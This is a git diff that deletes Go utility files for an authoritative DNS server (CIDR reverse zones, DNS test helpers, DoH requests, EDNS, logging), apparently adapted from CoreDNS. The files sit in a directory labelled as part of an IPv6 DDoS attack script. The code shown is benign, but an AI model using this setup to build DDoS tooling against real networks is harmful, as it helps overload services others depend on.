- // now check if multiple hosts must be returned. - nets := cidr.Split(n) - hosts = cidr.Reverse(nets) - return hosts, port, nil -} - -// SplitPort 用于从探测端的服务块中分离出Port,并且接收到的参数必须为[:port],这意味着所有探测端服务块必须指定端口号 -func SplitPort(s string) (port string, err error) { - if !strings.HasPrefix(s, ":") { - return "", fmt.Errorf("探测端服务块配置存在错误,应接收到[:port],实际接收到: %v", s) - } - if !valid.IsPort(s[1:]) { - return "", fmt.Errorf("探测端服务块配置存在错误,端口号不合法,实际接收到: %v", s[1:]) - } - return s[1:], nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" deleted file mode 100644 index 0b04bf9..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/README.md" +++ /dev/null @@ -1 +0,0 @@ -*pkg*包含了所有ohmydns2核心处理逻辑需要的插件 \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" deleted file mode 100644 index b902d06..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/cidr/cidr.go" +++ /dev/null @@ -1,82 +0,0 @@ -// Package cidr contains functions that deal with classless reverse zones in the DNS. -package cidr - -import ( - "github.com/apparentlymart/go-cidr/cidr" - "github.com/miekg/dns" - "math" - "net" - "strings" -) - -// Split returns a slice of non-overlapping subnets that in union equal the subnet n, -// and where each subnet falls on a reverse name segment boundary. -// for ipv4 this is any multiple of 8 bits (/8, /16, /24 or /32) -// for ipv6 this is any multiple of 4 bits -func Split(n *net.IPNet) []string { - boundary := 8 - nstr := n.String() - if strings.Contains(nstr, ":") { - boundary = 4 - } - ones, _ := n.Mask.Size() - if ones%boundary == 0 { - return []string{n.String()} - } - - mask := int(math.Ceil(float64(ones)/float64(boundary))) * boundary - networks := nets(n, mask) - cidrs := make([]string, len(networks)) - for i := range networks { - cidrs[i] = networks[i].String() - } - return cidrs -} - -// nets return a slice of prefixes with the desired mask subnetted from original network. -func nets(network *net.IPNet, newPrefixLen int) []*net.IPNet { - prefixLen, _ := network.Mask.Size() - maxSubnets := int(math.Exp2(float64(newPrefixLen)) / math.Exp2(float64(prefixLen))) - nets := []*net.IPNet{{IP: network.IP, Mask: net.CIDRMask(newPrefixLen, 8*len(network.IP))}} - - for i := 1; i < maxSubnets; i++ { - next, exceeds := cidr.NextSubnet(nets[len(nets)-1], newPrefixLen) - nets = append(nets, next) - if exceeds { - break - } - } - - return nets -} - -// Reverse return the reverse zones that are authoritative for each net in ns. -func Reverse(nets []string) []string { - rev := make([]string, len(nets)) - for i := range nets { - ip, n, _ := net.ParseCIDR(nets[i]) - r, err1 := dns.ReverseAddr(ip.String()) - if err1 != nil { - continue - } - ones, bits := n.Mask.Size() - // get the size, in bits, of each portion of hostname defined in the reverse address. (8 for IPv4, 4 for IPv6) - sizeDigit := 8 - if len(n.IP) == net.IPv6len { - sizeDigit = 4 - } - // Get the first lower octet boundary to see what encompassing zone we should be authoritative for. - mod := (bits - ones) % sizeDigit - nearest := (bits - ones) + mod - offset := 0 - var end bool - for i := 0; i < nearest/sizeDigit; i++ { - offset, end = dns.NextLabel(r, offset) - if end { - break - } - } - rev[i] = r[offset:] - } - return rev -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" deleted file mode 100644 index 138498d..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/multirecorder.go" +++ /dev/null @@ -1,40 +0,0 @@ -package dnstest - -import ( - "github.com/miekg/dns" - "time" -) - -// MultiRecorder is a type of ResponseWriter that captures all messages written to it. -type MultiRecorder struct { - Len int - Msgs []*dns.Msg - Start time.Time - dns.ResponseWriter -} - -// NewMultiRecorder makes and returns a new MultiRecorder. -func NewMultiRecorder(w dns.ResponseWriter) *MultiRecorder { - return &MultiRecorder{ - ResponseWriter: w, - Msgs: make([]*dns.Msg, 0), - Start: time.Now(), - } -} - -// WriteMsg records the message and its length written to it and call the -// underlying ResponseWriter's WriteMsg method. -func (r *MultiRecorder) WriteMsg(res *dns.Msg) error { - r.Len += res.Len() - r.Msgs = append(r.Msgs, res) - return r.ResponseWriter.WriteMsg(res) -} - -// Write is a wrapper that records the length of the messages that get written to it. -func (r *MultiRecorder) Write(buf []byte) (int, error) { - n, err := r.ResponseWriter.Write(buf) - if err == nil { - r.Len += n - } - return n, err -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" deleted file mode 100644 index 6484252..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/recorder.go" +++ /dev/null @@ -1,52 +0,0 @@ -package dnstest - -import ( - "github.com/miekg/dns" - "time" -) - -// Recorder is a type of ResponseWriter that captures -// the rcode code written to it and also the size of the message -// written in the response. A rcode code does not have -// to be written, however, in which case 0 must be assumed. -// It is best to have the constructor initialize this type -// with that default status code. -type Recorder struct { - dns.ResponseWriter - Rcode int - Len int - Msg *dns.Msg - Start time.Time -} - -// NewRecorder makes and returns a new Recorder, -// which captures the DNS rcode from the ResponseWriter -// and also the length of the response message written through it. -func NewRecorder(w dns.ResponseWriter) *Recorder { - return &Recorder{ - ResponseWriter: w, - Rcode: 0, - Msg: nil, - Start: time.Now(), - } -} - -// WriteMsg records the status code and calls the -// underlying ResponseWriter's WriteMsg method. -func (r *Recorder) WriteMsg(res *dns.Msg) error { - r.Rcode = res.Rcode - // We may get called multiple times (axfr for instance). - // Save the last message, but add the sizes. - r.Len += res.Len() - r.Msg = res - return r.ResponseWriter.WriteMsg(res) -} - -// Write is a wrapper that records the length of the message that gets written. -func (r *Recorder) Write(buf []byte) (int, error) { - n, err := r.ResponseWriter.Write(buf) - if err == nil { - r.Len += n - } - return n, err -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" deleted file mode 100644 index cebc68b..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnstest/server.go" +++ /dev/null @@ -1,64 +0,0 @@ -// Package dnstest allows for easy testing of DNS client against a test server. -package dnstest - -import ( - "github.com/miekg/dns" - "net" - "ohmydns2/plugin/pkg/reuseport" -) - -// A Server is an DNS server listening on a system-chosen port on the local -// loopback interface, for use in end-to-end DNS tests. -type Server struct { - Addr string // Address where the server listening. - - s1 *dns.Server // udp - s2 *dns.Server // tcp -} - -// NewServer starts and returns a new Server. The caller should call Close when -// finished, to shut it down. -func NewServer(f dns.HandlerFunc) *Server { - dns.HandleFunc(".", f) - - ch1 := make(chan bool) - ch2 := make(chan bool) - - s1 := &dns.Server{} // udp - s2 := &dns.Server{} // tcp - - for i := 0; i < 5; i++ { // 5 attempts - s2.Listener, _ = reuseport.Listen("tcp", ":0") - if s2.Listener == nil { - continue - } - - s1.PacketConn, _ = net.ListenPacket("udp", s2.Listener.Addr().String()) - if s1.PacketConn != nil { - break - } - - // perhaps UPD port is in use, try again - s2.Listener.Close() - s2.Listener = nil - } - if s2.Listener == nil { - panic("dnstest.NewServer(): failed to create new server") - } - - s1.NotifyStartedFunc = func() { close(ch1) } - s2.NotifyStartedFunc = func() { close(ch2) } - go s1.ActivateAndServe() - go s2.ActivateAndServe() - - <-ch1 - <-ch2 - - return &Server{s1: s1, s2: s2, Addr: s2.Listener.Addr().String()} -} - -// Close shuts down the server. -func (s *Server) Close() { - s.s1.Shutdown() - s.s2.Shutdown() -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" deleted file mode 100644 index 7bfd235..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/reverse.go" +++ /dev/null @@ -1,81 +0,0 @@ -package dnsutil - -import ( - "net" - "strings" -) - -// ExtractAddressFromReverse turns a standard PTR reverse record name -// into an IP address. This works for ipv4 or ipv6. -// -// 54.119.58.176.in-addr.arpa. becomes 176.58.119.54. If the conversion -// fails the empty string is returned. -func ExtractAddressFromReverse(reverseName string) string { - search := "" - - f := reverse - - switch { - case strings.HasSuffix(reverseName, IP4arpa): - search = strings.TrimSuffix(reverseName, IP4arpa) - case strings.HasSuffix(reverseName, IP6arpa): - search = strings.TrimSuffix(reverseName, IP6arpa) - f = reverse6 - default: - return "" - } - - // Reverse the segments and then combine them. - return f(strings.Split(search, ".")) -} - -// IsReverse returns 0 is name is not in a reverse zone. Anything > 0 indicates -// name is in a reverse zone. The returned integer will be 1 for in-addr.arpa. (IPv4) -// and 2 for ip6.arpa. (IPv6). -func IsReverse(name string) int { - if strings.HasSuffix(name, IP4arpa) { - return 1 - } - if strings.HasSuffix(name, IP6arpa) { - return 2 - } - return 0 -} - -func reverse(slice []string) string { - for i := 0; i < len(slice)/2; i++ { - j := len(slice) - i - 1 - slice[i], slice[j] = slice[j], slice[i] - } - ip := net.ParseIP(strings.Join(slice, ".")).To4() - if ip == nil { - return "" - } - return ip.String() -} - -// reverse6 reverse the segments and combine them according to RFC3596: -// b.a.9.8.7.6.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2 -// is reversed to 2001:db8::567:89ab -func reverse6(slice []string) string { - for i := 0; i < len(slice)/2; i++ { - j := len(slice) - i - 1 - slice[i], slice[j] = slice[j], slice[i] - } - slice6 := []string{} - for i := 0; i < len(slice)/4; i++ { - slice6 = append(slice6, strings.Join(slice[i*4:i*4+4], "")) - } - ip := net.ParseIP(strings.Join(slice6, ":")).To16() - if ip == nil { - return "" - } - return ip.String() -} - -const ( - // IP4arpa is the reverse tree suffix for v4 IP addresses. - IP4arpa = ".in-addr.arpa." - // IP6arpa is the reverse tree suffix for v6 IP addresses. - IP6arpa = ".ip6.arpa." -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" deleted file mode 100644 index deedc72..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/dnsutil/ttl.go" +++ /dev/null @@ -1,51 +0,0 @@ -package dnsutil - -import ( - "ohmydns2/plugin/pkg/response" - "time" - - "github.com/miekg/dns" -) - -// MinimalTTL scans the message returns the lowest TTL found taking into the response.Type of the message. -func MinimalTTL(m *dns.Msg, mt response.Type) time.Duration { - if mt != response.NoError && mt != response.NameError && mt != response.NoData { - return MinimalDefaultTTL - } - - // No records or OPT is the only record, return a short ttl as a fail safe. - if len(m.Answer)+len(m.Ns) == 0 && - (len(m.Extra) == 0 || (len(m.Extra) == 1 && m.Extra[0].Header().Rrtype == dns.TypeOPT)) { - return MinimalDefaultTTL - } - - minTTL := MaximumDefaulTTL - for _, r := range m.Answer { - if r.Header().Ttl < uint32(minTTL.Seconds()) { - minTTL = time.Duration(r.Header().Ttl) * time.Second - } - } - for _, r := range m.Ns { - if r.Header().Ttl < uint32(minTTL.Seconds()) { - minTTL = time.Duration(r.Header().Ttl) * time.Second - } - } - - for _, r := range m.Extra { - if r.Header().Rrtype == dns.TypeOPT { - // OPT records use TTL field for extended rcode and flags - continue - } - if r.Header().Ttl < uint32(minTTL.Seconds()) { - minTTL = time.Duration(r.Header().Ttl) * time.Second - } - } - return minTTL -} - -const ( - // MinimalDefaultTTL is the absolute lowest TTL we use in CoreDNS. - MinimalDefaultTTL = 5 * time.Second - // MaximumDefaulTTL is the maximum TTL was use on RRsets in CoreDNS. - MaximumDefaulTTL = 1 * time.Hour -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" deleted file mode 100644 index faddfc8..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/doh/doh.go" +++ /dev/null @@ -1,133 +0,0 @@ -package doh - -import ( - "bytes" - "encoding/base64" - "fmt" - "io" - "net/http" - "strings" - - "github.com/miekg/dns" -) - -// MimeType is the DoH mimetype that should be used. -const MimeType = "application/dns-message" - -// Path is the URL path that should be used. -const Path = "/dns-query" - -// NewRequest returns a new DoH request given a HTTP method, URL and dns.Msg. -// -// The URL should not have a path, so please exclude /dns-query. The URL will -// be prefixed with https:// by default, unless it's already prefixed with -// either http:// or https://. -func NewRequest(method, url string, m *dns.Msg) (*http.Request, error) { - buf, err := m.Pack() - if err != nil { - return nil, err - } - - if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") { - url = fmt.Sprintf("https://%s", url) - } - - switch method { - case http.MethodGet: - b64 := base64.RawURLEncoding.EncodeToString(buf) - - req, err := http.NewRequest( - http.MethodGet, - fmt.Sprintf("%s%s?dns=%s", url, Path, b64), - nil, - ) - if err != nil { - return req, err - } - - req.Header.Set("content-type", MimeType) - req.Header.Set("accept", MimeType) - return req, nil - - case http.MethodPost: - req, err := http.NewRequest( - http.MethodPost, - fmt.Sprintf("%s%s?bla=foo:443", url, Path), - bytes.NewReader(buf), - ) - if err != nil { - return req, err - } - - req.Header.Set("content-type", MimeType) - req.Header.Set("accept", MimeType) - return req, nil - - default: - return nil, fmt.Errorf("method not allowed: %s", method) - } -} - -// ResponseToMsg converts a http.Response to a dns message. -func ResponseToMsg(resp *http.Response) (*dns.Msg, error) { - defer resp.Body.Close() - - return toMsg(resp.Body) -} - -// RequestToMsg converts a http.Request to a dns message. -func RequestToMsg(req *http.Request) (*dns.Msg, error) { - switch req.Method { - case http.MethodGet: - return requestToMsgGet(req) - - case http.MethodPost: - return requestToMsgPost(req) - - default: - return nil, fmt.Errorf("method not allowed: %s", req.Method) - } -} - -// requestToMsgPost extracts the dns message from the request body. -func requestToMsgPost(req *http.Request) (*dns.Msg, error) { - defer req.Body.Close() - return toMsg(req.Body) -} - -// requestToMsgGet extract the dns message from the GET request. -func requestToMsgGet(req *http.Request) (*dns.Msg, error) { - values := req.URL.Query() - b64, ok := values["dns"] - if !ok { - return nil, fmt.Errorf("no 'dns' query parameter found") - } - if len(b64) != 1 { - return nil, fmt.Errorf("multiple 'dns' query values found") - } - return base64ToMsg(b64[0]) -} - -func toMsg(r io.ReadCloser) (*dns.Msg, error) { - buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) - if err != nil { - return nil, err - } - m := new(dns.Msg) - err = m.Unpack(buf) - return m, err -} - -func base64ToMsg(b64 string) (*dns.Msg, error) { - buf, err := b64Enc.DecodeString(b64) - if err != nil { - return nil, err - } - - m := new(dns.Msg) - err = m.Unpack(buf) - - return m, err -} - -var b64Enc = base64.RawURLEncoding diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" deleted file mode 100644 index 1f25ed6..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/edns/edns.go" +++ /dev/null @@ -1,70 +0,0 @@ -// Package edns provides function useful for adding/inspecting OPT records to/in messages. -package edns - -import ( - "errors" - "github.com/miekg/dns" - "sync" -) - -var sup = &supported{m: make(map[uint16]struct{})} - -type supported struct { - m map[uint16]struct{} - sync.RWMutex -} - -// SetSupportedOption adds a new supported option the set of EDNS0 options that we support. Plugins typically call -// this in their setup code to signal support for a new option. -// By default we support: -// dns.EDNS0NSID, dns.EDNS0EXPIRE, dns.EDNS0COOKIE, dns.EDNS0TCPKEEPALIVE, dns.EDNS0PADDING. These -// values are not in this map and checked directly in the server. -func SetSupportedOption(option uint16) { - sup.Lock() - sup.m[option] = struct{}{} - sup.Unlock() -} - -// SupportedOption returns true if the option code is supported as an extra EDNS0 option. -func SupportedOption(option uint16) bool { - sup.RLock() - _, ok := sup.m[option] - sup.RUnlock() - return ok -} - -// Version checks the EDNS version in the request. If error -// is nil everything is OK and we can invoke the plugin. If non-nil, the -// returned Msg is valid to be returned to the client (and should). -func Version(req *dns.Msg) (*dns.Msg, error) { - opt := req.IsEdns0() - if opt == nil { - return nil, nil - } - if opt.Version() == 0 { - return nil, nil - } - m := new(dns.Msg) - m.SetReply(req) - - o := new(dns.OPT) - o.Hdr.Name = "." - o.Hdr.Rrtype = dns.TypeOPT - o.SetVersion(0) - m.Rcode = dns.RcodeBadVers - o.SetExtendedRcode(dns.RcodeBadVers) - m.Extra = []dns.RR{o} - - return m, errors.New("EDNS0 BADVERS") -} - -// Size returns a normalized size based on proto. -func Size(proto string, size uint16) uint16 { - if proto == "tcp" { - return dns.MaxMsgSize - } - if size < dns.MinMsgSize { - return dns.MinMsgSize - } - return size -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" deleted file mode 100644 index 9a378c5..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/http/http.go" +++ /dev/null @@ -1,39 +0,0 @@ -package http - -import ( - "encoding/json" - "fmt" - "net/http" -) - -// ParseRequest 解析HTTP请求中的URL参数,目前仅支持GET方法 -func ParseRequest(req *http.Request) (map[string][]string, error) { - switch req.Method { - case http.MethodGet: - return getRequest(req) - case http.MethodPost: - return postRequest(req) - - default: - return nil, fmt.Errorf("method not allowed: %s", req.Method) - } -} - -func getRequest(req *http.Request) (map[string][]string, error) { - r := make(map[string][]string) - for k, v := range req.URL.Query() { - r[k] = v - } - return r, nil -} - -// 支持json方式处理 -func postRequest(req *http.Request) (map[string][]string, error) { - r := make(map[string][]string) - decoder := json.NewDecoder(req.Body) - err := decoder.Decode(&r) - if err != nil { - return nil, err - } - return r, nil -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" deleted file mode 100644 index 75e59dc..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/listener.go" +++ /dev/null @@ -1,139 +0,0 @@ -package log - -import "sync" - -// Listener listens for all log prints of plugin loggers aka loggers with plugin name. -// When a plugin logger gets called, it should first call the same method in the Listener object. -// A usage example is, the external plugin k8s_event will replicate log prints to Kubernetes events. -type Listener interface { - Name() string - Debug(plugin string, v ...interface{}) - Debugf(plugin string, format string, v ...interface{}) - Info(plugin string, v ...interface{}) - Infof(plugin string, format string, v ...interface{}) - Warning(plugin string, v ...interface{}) - Warningf(plugin string, format string, v ...interface{}) - Error(plugin string, v ...interface{}) - Errorf(plugin string, format string, v ...interface{}) - Fatal(plugin string, v ...interface{}) - Fatalf(plugin string, format string, v ...interface{}) -} - -type listeners struct { - listeners []Listener - sync.RWMutex -} - -var ls *listeners - -func init() { - ls = &listeners{} - ls.listeners = make([]Listener, 0) -} - -// RegisterListener register a listener object. -func RegisterListener(new Listener) error { - ls.Lock() - defer ls.Unlock() - for k, l := range ls.listeners { - if l.Name() == new.Name() { - ls.listeners[k] = new - return nil - } - } - ls.listeners = append(ls.listeners, new) - return nil -} - -// DeregisterListener deregister a listener object. -func DeregisterListener(old Listener) error { - ls.Lock() - defer ls.Unlock() - for k, l := range ls.listeners { - if l.Name() == old.Name() { - ls.listeners = append(ls.listeners[:k], ls.listeners[k+1:]...) - return nil - } - } - return nil -} - -func (ls *listeners) debug(plugin string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Debug(plugin, v...) - } - ls.RUnlock() -} - -func (ls *listeners) debugf(plugin string, format string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Debugf(plugin, format, v...) - } - ls.RUnlock() -} - -func (ls *listeners) info(plugin string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Info(plugin, v...) - } - ls.RUnlock() -} - -func (ls *listeners) infof(plugin string, format string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Infof(plugin, format, v...) - } - ls.RUnlock() -} - -func (ls *listeners) warning(plugin string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Warning(plugin, v...) - } - ls.RUnlock() -} - -func (ls *listeners) warningf(plugin string, format string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Warningf(plugin, format, v...) - } - ls.RUnlock() -} - -func (ls *listeners) error(plugin string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Error(plugin, v...) - } - ls.RUnlock() -} - -func (ls *listeners) errorf(plugin string, format string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Errorf(plugin, format, v...) - } - ls.RUnlock() -} - -func (ls *listeners) fatal(plugin string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Fatal(plugin, v...) - } - ls.RUnlock() -} - -func (ls *listeners) fatalf(plugin string, format string, v ...interface{}) { - ls.RLock() - for _, l := range ls.listeners { - l.Fatalf(plugin, format, v...) - } - ls.RUnlock() -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" deleted file mode 100644 index 0589a34..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/log.go" +++ /dev/null @@ -1,113 +0,0 @@ -// Package log implements a small wrapper around the std lib log package. It -// implements log levels by prefixing the logs with [INFO], [DEBUG], [WARNING] -// or [ERROR]. Debug logging is available and enabled if the *debug* plugin is -// used. -// -// log.Info("this is some logging"), will log on the Info level. -// -// log.Debug("this is debug output"), will log in the Debug level, etc. -package log - -import ( - "fmt" - "io" - golog "log" - "os" - "sync" -) - -// D controls whether we should output debug logs. If true, we do, once set -// it can not be unset. -var D = &d{} - -type d struct { - on bool - sync.RWMutex -} - -// Set enables debug logging. -func (d *d) Set() { - d.Lock() - d.on = true - d.Unlock() -} - -// Clear disables debug logging. -func (d *d) Clear() { - d.Lock() - d.on = false - d.Unlock() -} - -// Value returns if debug logging is enabled. -func (d *d) Value() bool { - d.RLock() - b := d.on - d.RUnlock() - return b -} - -// logf calls log.Printf prefixed with level. -func logf(level, format string, v ...interface{}) { - golog.Print(level, fmt.Sprintf(format, v...)) -} - -// log calls log.Print prefixed with level. -func log(level string, v ...interface{}) { - golog.Print(level, fmt.Sprint(v...)) -} - -// Debug is equivalent to log.Print(), but prefixed with "[DEBUG] ". It only outputs something -// if D is true. -func Debug(v ...interface{}) { - if !D.Value() { - return - } - log(debug, v...) -} - -// Debugf is equivalent to log.Printf(), but prefixed with "[DEBUG] ". It only outputs something -// if D is true. -func Debugf(format string, v ...interface{}) { - if !D.Value() { - return - } - logf(debug, format, v...) -} - -// Info is equivalent to log.Print, but prefixed with "[INFO] ". -func Info(v ...interface{}) { log(info, v...) } - -// Infof is equivalent to log.Printf, but prefixed with "[INFO] ". -func Infof(format string, v ...interface{}) { logf(info, format, v...) } - -// Warning is equivalent to log.Print, but prefixed with "[WARNING] ". -func Warning(v ...interface{}) { log(warning, v...) } - -// Warningf is equivalent to log.Printf, but prefixed with "[WARNING] ". -func Warningf(format string, v ...interface{}) { logf(warning, format, v...) } - -// Error is equivalent to log.Print, but prefixed with "[ERROR] ". -func Error(v ...interface{}) { log(err, v...) } - -// Errorf is equivalent to log.Printf, but prefixed with "[ERROR] ". -func Errorf(format string, v ...interface{}) { logf(err, format, v...) } - -// Fatal is equivalent to log.Print, but prefixed with "[FATAL] ", and calling -// os.Exit(1). -func Fatal(v ...interface{}) { log(fatal, v...); os.Exit(1) } - -// Fatalf is equivalent to log.Printf, but prefixed with "[FATAL] ", and calling -// os.Exit(1) -func Fatalf(format string, v ...interface{}) { logf(fatal, format, v...); os.Exit(1) } - -// Discard sets the log output to /dev/null. -func Discard() { golog.SetOutput(io.Discard) } - -const ( - debug = "[DEBUG] " - err = "[ERROR] " - fatal = "[FATAL] " - info = "[INFO] " - warning = "[WARNING] " -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" deleted file mode 100644 index 1be79f1..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/plugin.go" +++ /dev/null @@ -1,91 +0,0 @@ -package log - -import ( - "fmt" - "os" -) - -// P is a logger that includes the plugin doing the logging. -type P struct { - plugin string -} - -// NewWithPlugin returns a logger that includes "plugin/name: " in the log message. -// I.e [INFO] plugin/: message. -func NewWithPlugin(name string) P { return P{"plugin/" + name + ": "} } - -func (p P) logf(level, format string, v ...interface{}) { - log(level, p.plugin, fmt.Sprintf(format, v...)) -} - -func (p P) log(level string, v ...interface{}) { - log(level+p.plugin, v...) -} - -// Debug logs as log.Debug. -func (p P) Debug(v ...interface{}) { - if !D.Value() { - return - } - ls.debug(p.plugin, v...) - p.log(debug, v...) -} - -// Debugf logs as log.Debugf. -func (p P) Debugf(format string, v ...interface{}) { - if !D.Value() { - return - } - ls.debugf(p.plugin, format, v...) - p.logf(debug, format, v...) -} - -// Info logs as log.Info. -func (p P) Info(v ...interface{}) { - ls.info(p.plugin, v...) - p.log(info, v...) -} - -// Infof logs as log.Infof. -func (p P) Infof(format string, v ...interface{}) { - ls.infof(p.plugin, format, v...) - p.logf(info, format, v...) -} - -// Warning logs as log.Warning. -func (p P) Warning(v ...interface{}) { - ls.warning(p.plugin, v...) - p.log(warning, v...) -} - -// Warningf logs as log.Warningf. -func (p P) Warningf(format string, v ...interface{}) { - ls.warningf(p.plugin, format, v...) - p.logf(warning, format, v...) -} - -// Error logs as log.Error. -func (p P) Error(v ...interface{}) { - ls.error(p.plugin, v...) - p.log(err, v...) -} - -// Errorf logs as log.Errorf. -func (p P) Errorf(format string, v ...interface{}) { - ls.errorf(p.plugin, format, v...) - p.logf(err, format, v...) -} - -// Fatal logs as log.Fatal and calls os.Exit(1). -func (p P) Fatal(v ...interface{}) { - ls.fatal(p.plugin, v...) - p.log(fatal, v...) - os.Exit(1) -} - -// Fatalf logs as log.Fatalf and calls os.Exit(1). -func (p P) Fatalf(format string, v ...interface{}) { - ls.fatalf(p.plugin, format, v...) - p.logf(fatal, format, v...) - os.Exit(1) -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/pkg/log/runtime.go" deleted file mode 100644 index de54d17..0000000 --- 